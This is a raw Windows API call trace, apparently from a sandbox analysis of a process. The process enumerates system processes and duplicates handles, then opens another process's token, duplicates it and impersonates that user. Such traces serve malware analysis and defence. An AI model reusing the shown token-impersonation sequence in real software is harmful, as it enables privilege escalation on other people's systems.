	[0072.799] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x348 | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.799] NtClose (Handle=0x348) returned 0x0
	[0072.799] NtClose (Handle=0x31c) returned 0x0
	[0072.799] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x310, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x348) returned 0x0
	[0072.799] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x348 | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.799] NtClose (Handle=0x348) returned 0x0
	[0072.799] NtClose (Handle=0x31c) returned 0x0
	[0072.799] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x314, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x348) returned 0x0
	[0072.799] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x348 | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.799] NtClose (Handle=0x348) returned 0x0
	[0072.799] NtClose (Handle=0x31c) returned 0x0
	[0072.799] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x318, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x348) returned 0x0
	[0072.799] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x348 | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.799] NtClose (Handle=0x348) returned 0x0
	[0072.799] NtClose (Handle=0x31c) returned 0x0
	[0072.799] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x31c, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x348) returned 0x0
	[0072.799] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x348 | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.799] NtClose (Handle=0x348) returned 0x0
	[0072.800] NtClose (Handle=0x31c) returned 0x0
	[0072.800] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x320, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x348) returned 0x0
	[0072.800] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x348 | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.800] NtClose (Handle=0x348) returned 0x0
	[0072.800] NtClose (Handle=0x31c) returned 0x0
	[0072.800] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x324, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x348) returned 0x0
	[0072.800] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x348 | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.800] NtClose (Handle=0x348) returned 0x0
	[0072.800] NtClose (Handle=0x31c) returned 0x0
	[0072.800] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x328, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x348) returned 0x0
	[0072.800] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x348 | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.800] NtClose (Handle=0x348) returned 0x0
	[0072.800] NtClose (Handle=0x31c) returned 0x0
	[0072.800] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x32c, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x348) returned 0x0
	[0072.800] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x348 | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.800] NtClose (Handle=0x348) returned 0x0
	[0072.800] NtClose (Handle=0x31c) returned 0x0
	[0072.800] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x330, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x348) returned 0x0
	[0072.800] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x348 | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.800] NtClose (Handle=0x348) returned 0x0
	[0072.800] NtClose (Handle=0x31c) returned 0x0
	[0072.800] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x334, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x348) returned 0x0
	[0072.801] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x348 | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.801] NtClose (Handle=0x348) returned 0x0
	[0072.801] NtClose (Handle=0x31c) returned 0x0
	[0072.801] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x338, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x348) returned 0x0
	[0072.801] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x348 | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.801] NtClose (Handle=0x348) returned 0x0
	[0072.801] NtClose (Handle=0x31c) returned 0x0
	[0072.801] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x33c, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x348) returned 0x0
	[0072.801] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x348 | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.801] NtClose (Handle=0x348) returned 0x0
	[0072.801] NtClose (Handle=0x31c) returned 0x0
	[0072.801] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x340, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x348) returned 0x0
	[0072.801] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x348 | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.801] NtClose (Handle=0x348) returned 0x0
	[0072.801] NtClose (Handle=0x31c) returned 0x0
	[0072.801] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x344, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x348) returned 0x0
	[0072.801] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x348 | out: SectionHandle=0x272fa5c*=0x34c) returned 0x0
	[0072.802] NtMapViewOfSection (in: SectionHandle=0x34c, ProcessHandle=0xffffffff, BaseAddress=0x272fa60*=0x0, ZeroBits=0x0, CommitSize=0x1, SectionOffset=0x0, ViewSize=0x272fa50*=0x0, InheritDisposition=0x2, AllocationType=0x0, AccessProtection=0x2 | out: BaseAddress=0x272fa60*=0x44a0000, SectionOffset=0x0, ViewSize=0x272fa50*=0x1000) returned 0x0
	[0072.805] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x210) returned 0x2d7c580
	[0072.805] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x44a0000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x2d7c580, Length=0x210, ResultLength=0x272fa4c | out: VirtualMemoryInformation=0x2d7c580*(SectionFileName.Length=0x7a, SectionFileName.MaximumLength=0x7c, SectionFileName.Buffer="\\Device\\HarddiskVolume1\\Windows\\System32\\en-US\\user32.dll.mui"), ResultLength=0x272fa4c) returned 0x0
	[0072.805] GetLogicalDriveStringsW (in: nBufferLength=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0x5
	[0072.806] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc) returned 0x2d7a870
	[0072.806] GetLogicalDriveStringsW (in: nBufferLength=0x5, lpBuffer=0x2d7a870 | out: lpBuffer="C:\\") returned 0x4
	[0072.806] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x8) returned 0x2d75dd0
	[0072.806] wcscpy (in: _Dest=0x2d75dd0, _Source="C:\\" | out: _Dest="C:\\") returned="C:\\"
	[0072.806] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20a) returned 0x2d845d8
	[0072.806] QueryDosDeviceW (in: lpDeviceName="C:", lpTargetPath=0x2d845d8, ucchMax=0x104 | out: lpTargetPath="\\Device\\HarddiskVolume1") returned 0x19
	[0072.806] wcscat (in: _Dest=0x2d845d8, _Source="\\" | out: _Dest="\\Device\\HarddiskVolume1\\") returned="\\Device\\HarddiskVolume1\\"
	[0072.806] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x52) returned 0x2d77c00
	[0072.806] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77c00) returned 1
	[0072.806] NtClose (Handle=0x348) returned 0x0
	[0072.807] NtClose (Handle=0x31c) returned 0x0
	[0072.807] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4790048) returned 1
	[0072.822] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x1024) returned 0x2d82808
	[0072.822] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2d82808, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x2d82808, ResultLength=0x0) returned 0xc0000004
	[0072.823] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d82808, Size=0x2048) returned 0x4730008
	[0072.823] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4730008, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x4730008, ResultLength=0x0) returned 0xc0000004
	[0072.823] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x4730008, Size=0x306c) returned 0x4730008
	[0072.823] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4730008, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x4730008, ResultLength=0x0) returned 0xc0000004
	[0072.823] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x4730008, Size=0x4090) returned 0x4730008
	[0072.823] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4730008, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x4730008, ResultLength=0x0) returned 0xc0000004
	[0072.823] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x4730008, Size=0x50b4) returned 0x4730008
	[0072.823] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4730008, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x4730008, ResultLength=0x0) returned 0xc0000004
	[0072.823] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x4730008, Size=0x60d8) returned 0x4730008
	[0072.823] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4730008, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x4730008, ResultLength=0x0) returned 0xc0000004
	[0072.824] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x4730008, Size=0x70fc) returned 0x4730008
	[0072.824] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4730008, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x4730008, ResultLength=0x0) returned 0xc0000004
	[0072.824] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x4730008, Size=0x8120) returned 0x4730008
	[0072.824] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4730008, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x4730008, ResultLength=0x0) returned 0xc0000004
	[0072.824] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x4730008, Size=0x9144) returned 0x4730008
	[0072.824] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4730008, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x4730008, ResultLength=0x0) returned 0xc0000004
	[0072.824] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x4730008, Size=0xa168) returned 0x4730008
	[0072.825] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4730008, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x4730008, ResultLength=0x0) returned 0xc0000004
	[0072.825] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x4730008, Size=0xb18c) returned 0x4730008
	[0072.825] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4730008, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x4730008, ResultLength=0x0) returned 0xc0000004
	[0072.825] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x4730008, Size=0xc1b0) returned 0x4730008
	[0072.825] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4730008, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x4730008, ResultLength=0x0) returned 0xc0000004
	[0072.825] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x4730008, Size=0xd1d4) returned 0x4730008
	[0072.825] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4730008, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x4730008, ResultLength=0x0) returned 0xc0000004
	[0072.826] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x4730008, Size=0xe1f8) returned 0x4730008
	[0072.826] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4730008, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x4730008, ResultLength=0x0) returned 0xc0000004
	[0072.826] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x4730008, Size=0xf21c) returned 0x4730008
	[0072.826] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4730008, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x4730008, ResultLength=0x0) returned 0xc0000004
	[0072.826] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x4730008, Size=0x10240) returned 0x4730008
	[0072.826] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4730008, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x4730008, ResultLength=0x0) returned 0xc0000004
	[0072.827] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x4730008, Size=0x11264) returned 0x4730008
	[0072.827] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4730008, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x4730008, ResultLength=0x0) returned 0xc0000004
	[0072.827] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x4730008, Size=0x12288) returned 0x4730008
	[0072.827] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4730008, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x4730008, ResultLength=0x0) returned 0xc0000004
	[0072.827] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x4730008, Size=0x132ac) returned 0x4730008
	[0072.827] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4730008, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x4730008, ResultLength=0x0) returned 0xc0000004
	[0072.828] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x4730008, Size=0x142d0) returned 0x4730008
	[0072.828] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4730008, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x4730008, ResultLength=0x0) returned 0xc0000004
	[0072.828] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x4730008, Size=0x152f4) returned 0x4730008
	[0072.828] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4730008, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x4730008, ResultLength=0x0) returned 0xc0000004
	[0072.880] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x4730008, Size=0x16318) returned 0x4730008
	[0072.880] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4730008, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x4730008, ResultLength=0x0) returned 0xc0000004
	[0072.880] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x4730008, Size=0x1733c) returned 0x4730008
	[0072.880] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4730008, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x4730008, ResultLength=0x0) returned 0xc0000004
	[0072.881] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x4730008, Size=0x18360) returned 0x4730008
	[0072.881] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4730008, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x4730008, ResultLength=0x0) returned 0xc0000004
	[0072.881] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x4730008, Size=0x19384) returned 0x4730008
	[0072.881] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4730008, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x4730008, ResultLength=0x0) returned 0xc0000004
	[0072.882] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x4730008, Size=0x1a3a8) returned 0x4730008
	[0072.882] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4730008, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x4730008, ResultLength=0x0) returned 0xc0000004
	[0072.882] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x4730008, Size=0x1b3cc) returned 0x4730008
	[0072.882] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4730008, Length=0x1b3cc, ResultLength=0x0 | out: SystemInformation=0x4730008, ResultLength=0x0) returned 0xc0000004
	[0072.882] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x4730008, Size=0x1c3f0) returned 0x4730008
	[0072.882] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4730008, Length=0x1c3f0, ResultLength=0x0 | out: SystemInformation=0x4730008, ResultLength=0x0) returned 0xc0000004
	[0072.883] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x4730008, Size=0x1d414) returned 0x4730008
	[0072.883] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4730008, Length=0x1d414, ResultLength=0x0 | out: SystemInformation=0x4730008, ResultLength=0x0) returned 0xc0000004
	[0072.883] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x4730008, Size=0x1e438) returned 0x4730008
	[0072.883] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4730008, Length=0x1e438, ResultLength=0x0 | out: SystemInformation=0x4730008, ResultLength=0x0) returned 0xc0000004
	[0072.884] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x4730008, Size=0x1f45c) returned 0x4730008
	[0072.884] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4730008, Length=0x1f45c, ResultLength=0x0 | out: SystemInformation=0x4730008, ResultLength=0x0) returned 0xc0000004
	[0072.884] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x4730008, Size=0x20480) returned 0x4730008
	[0072.884] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4730008, Length=0x20480, ResultLength=0x0 | out: SystemInformation=0x4730008, ResultLength=0x0) returned 0xc0000004
	[0072.884] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x4730008, Size=0x214a4) returned 0x4730008
	[0072.884] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4730008, Length=0x214a4, ResultLength=0x0 | out: SystemInformation=0x4730008, ResultLength=0x0) returned 0xc0000004
	[0072.885] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x4730008, Size=0x224c8) returned 0x4730008
	[0072.885] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4730008, Length=0x224c8, ResultLength=0x0 | out: SystemInformation=0x4730008, ResultLength=0x0) returned 0xc0000004
	[0072.885] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x4730008, Size=0x234ec) returned 0x4730008
	[0072.885] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4730008, Length=0x234ec, ResultLength=0x0 | out: SystemInformation=0x4730008, ResultLength=0x0) returned 0xc0000004
	[0072.886] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x4730008, Size=0x24510) returned 0x4730008
	[0072.886] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4730008, Length=0x24510, ResultLength=0x0 | out: SystemInformation=0x4730008, ResultLength=0x0) returned 0x0
	[0072.887] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4730008) returned 1
	[0072.890] NtOpenProcess (in: ProcessHandle=0x272fa24, DesiredAccess=0x400, ObjectAttributes=0x272fa04*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa1c*(UniqueProcess=0x220, UniqueThread=0x0) | out: ProcessHandle=0x272fa24*=0x31c) returned 0x0
	[0072.890] NtOpenProcessToken (in: ProcessHandle=0x31c, DesiredAccess=0xf, TokenHandle=0x272fa28 | out: TokenHandle=0x272fa28*=0x348) returned 0x0
	[0072.890] DuplicateTokenEx (in: hExistingToken=0x348, dwDesiredAccess=0x2000000, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x1, phNewToken=0x272fa20 | out: phNewToken=0x272fa20*=0x34c) returned 1
	[0072.890] NtClose (Handle=0x348) returned 0x0
	[0072.890] NtClose (Handle=0x31c) returned 0x0
	[0072.890] ImpersonateLoggedOnUser (hToken=0x34c) returned 1
	[0072.895] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x100) returned 0x2d5af20
	[0072.895] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x1024) returned 0x2d82808
	[0072.895] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2d82808, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x2d82808, ResultLength=0x0) returned 0xc0000004
	[0072.895] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d82808, Size=0x2048) returned 0x4730008
	[0072.896] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4730008, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x4730008, ResultLength=0x0) returned 0xc0000004
	[0072.896] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x4730008, Size=0x306c) returned 0x4730008
	[0072.896] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4730008, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x4730008, ResultLength=0x0) returned 0xc0000004
	[0072.896] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x4730008, Size=0x4090) returned 0x4730008
	[0072.896] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4730008, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x4730008, ResultLength=0x0) returned 0xc0000004
	[0072.897] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x4730008, Size=0x50b4) returned 0x4730008
	[0072.897] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4730008, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x4730008, ResultLength=0x0) returned 0xc0000004
	[0072.897] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x4730008, Size=0x60d8) returned 0x4730008
	[0072.897] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4730008, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x4730008, ResultLength=0x0) returned 0xc0000004
	[0072.897] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x4730008, Size=0x70fc) returned 0x4730008
	[0072.897] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4730008, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x4730008, ResultLength=0x0) returned 0xc0000004
	[0072.897] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x4730008, Size=0x8120) returned 0x4730008
	[0072.897] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4730008, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x4730008, ResultLength=0x0) returned 0xc0000004
	[0072.898] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x4730008, Size=0x9144) returned 0x4730008
	[0072.898] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4730008, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x4730008, ResultLength=0x0) returned 0xc0000004
	[0072.898] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x4730008, Size=0xa168) returned 0x4730008
	[0072.898] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4730008, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x4730008, ResultLength=0x0) returned 0xc0000004
	[0072.898] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x4730008, Size=0xb18c) returned 0x4730008
	[0072.898] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4730008, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x4730008, ResultLength=0x0) returned 0xc0000004
	[0072.899] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x4730008, Size=0xc1b0) returned 0x4730008
	[0072.899] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4730008, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x4730008, ResultLength=0x0) returned 0xc0000004
	[0072.899] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x4730008, Size=0xd1d4) returned 0x4730008
	[0072.899] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4730008, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x4730008, ResultLength=0x0) returned 0xc0000004
